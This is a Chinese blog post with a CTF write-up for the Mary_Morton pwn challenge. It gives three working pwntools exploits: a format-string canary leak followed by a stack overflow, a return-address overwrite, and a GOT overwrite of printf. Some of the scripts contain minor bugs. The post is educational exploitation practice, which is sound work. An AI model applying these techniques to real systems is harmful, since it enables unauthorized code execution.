攻防世界 Mary_Morto WP 三种解法

最新推荐文章于 2023-07-27 18:42:37 发布
最新推荐文章于 2023-07-27 18:42:37 发布
阅读量1.6k 收藏 2
点赞数
分类专栏： pwn学习 文章标签： 攻防世界 Mary_Morto 格式化字符串 栈溢出
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Casuall/article/details/108035775
版权

Mary_Morto

来自于ASIS-CTF-Finals-2017的一道题，网上的wp都千篇一律，这里记录一下我的一些思路。

首先这道题可以从好几种方向去解，我这里介绍三种解法。

首先我们查看一下程序的保护措施，发现开启了Stack Canary和NX，RELRO和PIE没有开启。然后运行一下，提示选择我们的武器，第一个是栈溢出漏洞，第二个是格式化字符串漏洞，说明本题应该可以利用这个两个漏洞去解决问题。
mary0

保护措施简介

我们先简单的回顾一下这些保护措施是做什么用的。首先是Stack Canary，这个用于栈的保护，函数开始执行的时候会先往栈底插入 cookie 信息，当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变)，如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉，导致栈保护检查失败而阻止 shellcode 的执行，避免漏洞利用成功。

开启 Canary 保护的 stack 结构大概如下：

mary1

而这个NX保护呢，是栈不可执行，将栈设为不可执行，当程序溢出转入shellcode的时候，程序尝试栈执行，此时会抛出异常，并停止程序执行。

PIE:负责代码段和数据段的随机化工作。但是只有在开启 ASLR 之后，PIE 才会生效。

RELRO：read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号，从而减少对GOT（Global Offset Table）攻击。RELRO为” Partial RELRO”，说明我们对GOT表具有写权限。 通过pwndbg可以看到，我们对GOT表是有写权限的。

mary2

解题思路

通过查找字符串，我们在0x4008da处发现了一个函数，能够读取flag，这应该就是我们的目标函数，我们在IDA中给他改个名字，改为win()。

int win()     // 原来函数名是  sub_4008DA
{
  return system("/bin/cat ./flag");
}

我们看一下main函数，sub_4009FF()函数设置了一个时钟，到时间会自动退出。sub_4009DA(v3)是一个打印菜单的函数，不需要管。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v4; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  v3 = "Select your weapon ";
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA(v3);
      v3 = "%d";
      __isoc99_scanf("%d", &v4);
      if ( v4 != 2 )
        break;
      sub_4008EB();
    }
    if ( v4 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v4 == 1 )
    {
      sub_400960();
    }
    else
    {
      v3 = "Wrong!";
      puts("Wrong!");
    }
  }
}

剩下的就是根据输入跳转到对应的函数，我整理了一下，可以直接看下面的代码来分析。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v4; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  set_alarm();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  v3 = "Select your weapon ";
  puts("Select your weapon ");
  while ( 1 )
  {
    print_menu(v3);
    v3 = "%d";
    __isoc99_scanf("%d", &v4);
    switch v4:
      case 1:  starck_buffer_overflow(); break;
      case 2:  format_string(); break;
      case 3:  puts("Bye "); exit(0); break;
      default: puts("Wrong!"); break;
  }
}

unsigned __int64 starck_buffer_overflow()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 format_string()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

这道题，我用了三种解法，大家可以参考一下：

  1. 通过格式化字符串漏洞，泄露canary的值，然后通过栈溢出覆盖返回地址（将泄露的canary值传进去）
  2. 有了格式化字符串漏洞，我们就可以做到任意位置读写，泄露buf的地址，直接在buf+0x98处写入win()函数的地址（buf定义在rbp-0x90h，然后加上8字节的old ebp，所以返回地址的位置在buf+0x98处）
  3. 我们对GOT表具有写权限，通过格式化字符串，将GOT中的函数的地址改成win，这里我用改写的是printf的地址，改完之后在调用一次这个函数就可以执行win函数了。

还有要说明的一点是，通过改写返回地址，由于破坏了原有的栈，所以最后会报错，但是我们的win函数会被执行完，能够出结果（别一看到报错信息就以为失败了，flag就在上面，仔细找找）。通过改写GOT表中的函数地址，这种方法没有破坏栈中的内容，所以不会报错。

方法一：

首先，无论哪种方法，都需要用到格式化字符串漏洞，所以需要找到格式化字符串的偏移。通过输入AAAAAAAA%p的形式去查找，发现offset = 6，buf的位置是rbp-0x90， canary的位置是rbp-8，可以算一下buf和canary的距离，(0x90-8) / 8 = 17，所以我们要泄露的canary在6 + 17 = 23处，为什么这么算呢，首先我们通过传入AAAAAAAA%p的形式去找偏移，%p是以地址的格式打印内容，我们发现偏移处为6的地方打印的是0x4141414141414141，也就是泄露了buf的内容，然后在加上buf与canary的距离，就能直接泄露canary的值了。通过%23$p直接打印offset为23的内容。然后在通过buffer overflow覆盖返回地址

mary4

.text:00000000004009AA                 lea     rax, [rbp+buf]  ; buf的位置是rbp-0x90
.text:00000000004009B1                 mov     rsi, rax
.text:00000000004009B4                 mov     edi, offset format ; "-> %s\n"
.text:00000000004009B9                 mov     eax, 0
.text:00000000004009BE                 call    _printf
.text:00000000004009C3                 nop
.text:00000000004009C4                 mov     rax, [rbp+var_8] ; canary的位置是rbp-8
.text:00000000004009C8                 xor     rax, fs:28h
.text:00000000004009D1                 jz      short locret_4009D8
.text:00000000004009D3                 call    ___stack_chk_fail

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'
debug = True
if debug:
    conn = process('./a.out')
else:
    conn = remote('220.249.52.133', 39751)

win = 0x4008DA
log.success("win addr is {}\n".format(hex(win)))
offset = 6
log.success("offset is {}\n".format(offset))

conn.sendlineafter('3. Exit the battle \n', '2')
# Stack overflow, bypassing the canary
conn.sendline("%23$p")
canary = int(conn.recvuntil('\n'), 16)
log.success('canary is {:x}'.format(canary))
conn.recvuntil('Exit the battle \n')
conn.sendline('1')

payload = 'A' * 0x88 + p64(canary) + 'AAAAAAAA' + p64(win)
conn.sendline(payload)
recv = rconn.recvall()
log.success("recv is {}".format(recv))
conn.sendlineafter('Exit the battle \n', '3')

方法二：

直接通过格式化字符串修改返回地址，首先我们得泄露buffer的地址，怎么找呢，通过格式化字符串漏洞，传递%1$p，泄露偏移为1的内容，这个偏移为1的是什么内容呢？是RSI的内容，RSI记录了格式化字符串的地址，也就是buf的首地址。64位程序传递前六个参数通过RDI、RSI、RDX、RCX、R8、R9传递，可以传递多个%p查看一下，前五个输出的是不是RSI、RDX、RCX、R8、R9寄存器中的内容。

mary5

mary6

得到buf的地址，就可以直接通过格式化字符串漏洞把返回地址改了，这里使用pwntools内置的函数，只需要传递offset（offset在方法一种找到了，是6）和要改写的地址和内容就可以了。

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'
debug = True
if debug:
    conn = process('./a.out')
else:
    conn = remote('220.249.52.133', 39751)

win = 0x4008DA
log.success("win addr is {}\n".format(hex(win)))
offset = 6
log.success("offset is {}\n".format(offset))

conn.sendlineafter('3. Exit the battle \n', '2')
conn.sendline("%1$p")
buf_addr = int(conn.recvuntil('\n'), 16)
conn.sendlineafter('3. Exit the battle \n', '2')
payload = fmtstr_payload(6, {buf_addr+0x98 : win})
conn.sendline(payload)

recv = conn.recvall()
log.success("recv is {}".format(recv))
conn.sendlineafter('Exit the battle \n', '3')

方法三：

偏移在方法一种找到了，直接利用pwntools改就完事了。我这里改的是printf的地址，所以改完以后需要在调用一次printf才行。改别的函数也是一样的，可以自行尝试。

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'
debug = True
if debug:
    conn = process('./a.out')
else:
    conn = remote('220.249.52.133', 39751)

elf = ELF('./a.out')
win = 0x4008DA
log.success("win addr is {}\n".format(hex(win)))
offset = 6
log.success("offset is {}\n".format(offset))

conn.sendlineafter('3. Exit the battle \n', '2')
log.success("got.printf is {:#x}".format(elf.symbols['got.printf']))
payload = fmtstr_payload(6, {elf.symbols['got.printf']: win})
conn.sendline(payload)
conn.recvuntil('Exit the battle \n')
conn.sendline('2')
conn.sendline('2')

recv = conn.recv()
log.success("recv is {}".format(recv))
conn.sendlineafter('Exit the battle \n', '3')

将三种方法的exp整理了一下。

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'
debug = True
if debug:
    conn = process('./a.out')
else:
    conn = remote('220.249.52.133', 39751)

elf = ELF('./a.out')

win = 0x4008DA
log.success("win addr is {}\n".format(hex(win)))

offset = 6
log.success("offset is {}\n".format(offset))

conn.sendlineafter('3. Exit the battle \n', '2')

# Stack overflow, bypassing the canary
def func1():
    conn.sendline("%23$p")
    canary = int(conn.recvuntil('\n'), 16)
    log.success('canary is {:x}'.format(canary))
    conn.recvuntil('Exit the battle \n')
    conn.sendline('1')
    payload = 'A' * 0x88 + p64(canary) + 'AAAAAAAA' + p64(win)
    conn.sendline(payload)
    return conn.recvall()

# Format string, read and write anywhere
def func2():
    conn.sendline("%1$p")
    buf_addr = int(conn.recvuntil('\n'), 16)
    conn.sendlineafter('3. Exit the battle \n', '2')
    payload = fmtstr_payload(6, {buf_addr+0x98 : win})
    conn.sendline(payload)
    return conn.recvall()
# Overwrite the got table
def func3():
    log.success("got.printf is {:#x}".format(elf.symbols['got.printf']))
    payload = fmtstr_payload(6, {elf.symbols['got.printf']: win})
    conn.sendline(payload)
    conn.recvuntil('Exit the battle \n')
    conn.sendline('2')
    conn.sendline('2')
    return conn.recv()

recv = func1()
log.success("recv is {}".format(recv))
conn.sendlineafter('Exit the battle \n', '3')
Casuall
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
专栏目录
攻防世界 Mary_Morton
10-07 294
1.题目 2.IDA分析 3.流程分析
buuctf刷题记录（2）
weixin_53409153的博客
06-06 690
不一样的flag 对于这种题，一般最开始就是需要查壳吧： 查壳后发现无壳32位，然后就直接拖入IDA，shift+f12查看： 跟进，然后f5查看伪代码： 可以看见，这是一个while循环，然后在while循环上面有一行代码，很重要qmemcpy(&v3, _data_start__, 0x19u);跟进后可以看见： 然后再回头看伪代码： while ( 1 ) { puts("you can choose one action to execute"); puts(
通过使用while的死循环做菜单以及switch ，case的相关操作，实现输入(scanf)，输出(printf)，求出数组最大值以及冒泡排序
最新发布
m0_75157285的博客
07-27 666
注意：头文件下方使用了一个宏定义，为了方便我们修改输入输出的数的个数，且宏定义只做替换，在以后的代码中我都可以使用宏名（shu）去代替数值（5)。要知道我们需要循环的是菜单，但是也许做一个跳出死循环的指令，否则菜单会一直弹出，那样大家就只能ctrl c了。我们需要循环输出输入 ，其中用到了一个for循环，每当运行完一个case指令别忘加break结束循环，否则会一直往下执行。这是我们定义的参数，其中a是我们的菜单选项，str为我们的数组名，这里我用五个数为例去实现我们的相关功能。
江苏工匠杯-unseping&序列化，正则绕过(全网最简单的wp)
cike_y
12-02 4092
in_array， 检查数组中是否存在某个值，如果method的变量为"ping",那么将执行下一行call_user_func_array()—调用回调函数(把一个数组参数作为回调函数的参数，第二个数组为被传入的索引数组)，也就是说method为ping时，那么它的索引数组就是args变量，同时传入args变量也必须是数组才能执行语句。看到网上和官方wp解法极为复杂，其实要八进制编码等等，仔细思考方法不止一种呢，此篇是我刷php反序列化笔记，有什么不懂的可以私信我，或者留言，看到的我都会认真回复。
逆向入门--攻防世界进阶Re题解
crispr的博客
08-09 4097
前言 摸鱼选手表示最近鱼儿很多。。。好吧我摊牌了，最近忙着考驾照，真折磨人啊，赶紧补一补入门的逆向，不然白给了要。本次准备写两个Re的题解，都是来自攻防世界的进阶 正言 re1-100 自从上次入门后，现在做题的顺序基本摸清了，并且现在的题还没有出现啥花指令这些恶心内容，先把文件放到exeinfope中查看文件属性： 64位的ELF文件，直接拖到IDApro来看吧: // TAGS: ['file'] int __cdecl __noreturn main(int argc, const char **a
XCTF-xxxorrr
TA不懒，但还没有添加简介
04-04 756
XCTF-xxxorrr
逆向做题记录2023 4.3-4.9
m0_73718199的博客
04-09 1058
在某些编程语言或者汇编语言中，使用 dup 语句可以重复生成一定数量的相同元素，可以用来快速生成一定数量的数组或者缓冲区。在计算机编程中，8 dup(0) 表示申请 8 个字节（或者 8 个元素）的连续内存空间，并将该空间的值初始化为 0。该函数的参数为指向 FILE 结构的指针，指示要关闭的文件。fopen() 是一个 C 标准库函数，用于打开一个文件并返回一个指向该文件的指针。函数将写入任何挂起的缓冲区数据，释放与文件流相关的所有缓冲区，并关闭该文件。是 C 标准库中的一个函数，用于关闭打开的文件。
Morto蠕虫病毒杀除工具
04-30
Morto蠕虫病毒杀除方法
win远程多用户rdpwrap配置文件(10.0.19042.1052）
10-12
win10多用户、远程、rdp配置文件 配置文件已测试 能正常使用
调味品经典广告词.doc
03-05
12. **三 Y 牌粟米油**：“心身健康，从‘三 Y’粟米油开始！” 将产品与健康生活方式紧密联系，满足消费者追求健康生活的愿望。 13. **钻石牌食盐**：“如果它不是钻石牌，怎么能如此快地溶化呢？” 通过对比，...
__readfsbyte、__readfsdword、__readfsqword、__readfsword
u013043103的博客
06-25 3257
Microsoft 专用 从偏移量的指定位置读取内存相对 FS 段开头。 语法 unsigned char __readfsbyte( unsigned long Offset ); unsigned short __readfsword( unsigned long Offset ); unsigned long __readfsdword( unsigned long Offset ); unsigned __int64 __readfsqword( unsi...
LCTF 2018 easy_heap
yms0211的博客
09-18 191
LCTF 2018 easy_heap
HSCTF2022-re题解
Todog的博客
08-01 465
HSCTF2022-re题解
从格式化字符串泄露canary到栈溢出
SsMing的博客
01-11 4281
以ASIS-CTF-Finals-2017 Mary_Morton为例 checksec查看，开了NX保护，还有canary IDA打开 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi int v4; // [rsp+24h] [rbp-Ch] ...
一次不用脚本的pwn解题
蚁景网安学院
03-03 750
0x01:前言我们在 ctf 中 ，更多的是在 web方向中会 使用到 linux 中的/proc 目录，这里将对它进行一次介绍与学习，并且最后再举一次pwn中 运用到它的一次实例记录....
Mary_Morton [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列17
重新启程
12-24 1569
题目地址：Mary_Morton 已经是高手进阶区的第六题了，每个题目都有不少收获，持之以恒！ 先看看题目内容 很好，这是一道非常简单的热身pwn，当然，我是不会相信的！哈哈 大家应该注意到了，难度系数第一次>1星了，步入2星的阶段，最高是10星！期待一下 惯例先来检查安全机制 root@mypwn:/ctf/work/python/mary_morton# checksec ...
IDA Pro: C++逆向之容器vector篇入门
追求卓越
06-20 4548
IDA Pro下载: https://download.csdn.net/download/larry_zeng1/11122054 前言：说实话，我自己也不会c++的逆向。然后，现在太多的题目是c++的逆向了，一上来就是一堆容器，搞得我不得不去补补c++逆向部分的知识了，我这篇文章以西湖论剑的easyCpp为例，希望能给那些跟我一样是c++逆向的新手的朋友们一点启发。下面我就开始我的抛...
ctfwiki---基本ROP
xuqi7
11-29 2161
ctfwiki，基本ROP(Return Oriented Programming)复现
（攻防世界）（pwn）mary_mroton
PLpa的博客
07-20 852
经过一段时间的研究，终于接触到Canary了，不容易啊 拿到本题查看保护 开了NX和Canary两种栈保护，我们运行一下出现，看一下程序逻辑： 根据我们对英语强大的理解 （翻译软件的腻量）我们可以看到1标题是栈溢出漏洞函数，2是格式字符串漏洞函数，3为退出，既然他都告诉我们了，我们也不用客气直接用就可以了。 我们可以用格式字符串漏洞泄露Canary的值，然后再进行简单的栈溢出，把Canary填...
pwn1 babystack [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列19
重新启程
12-25 1620
题目地址：pwn1 babystack 已经到了高手进阶区的第八题了，已经渐入佳境了。哈哈！ 废话不说，看看题目先 厦门邀请赛的题目，还是2星难度，那就开工了。 管理检查一下保护机制： [*] '/ctf/work/python/pwn1/babystack' Arch: amd64-64-little RELRO: Full RELRO Stac...
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值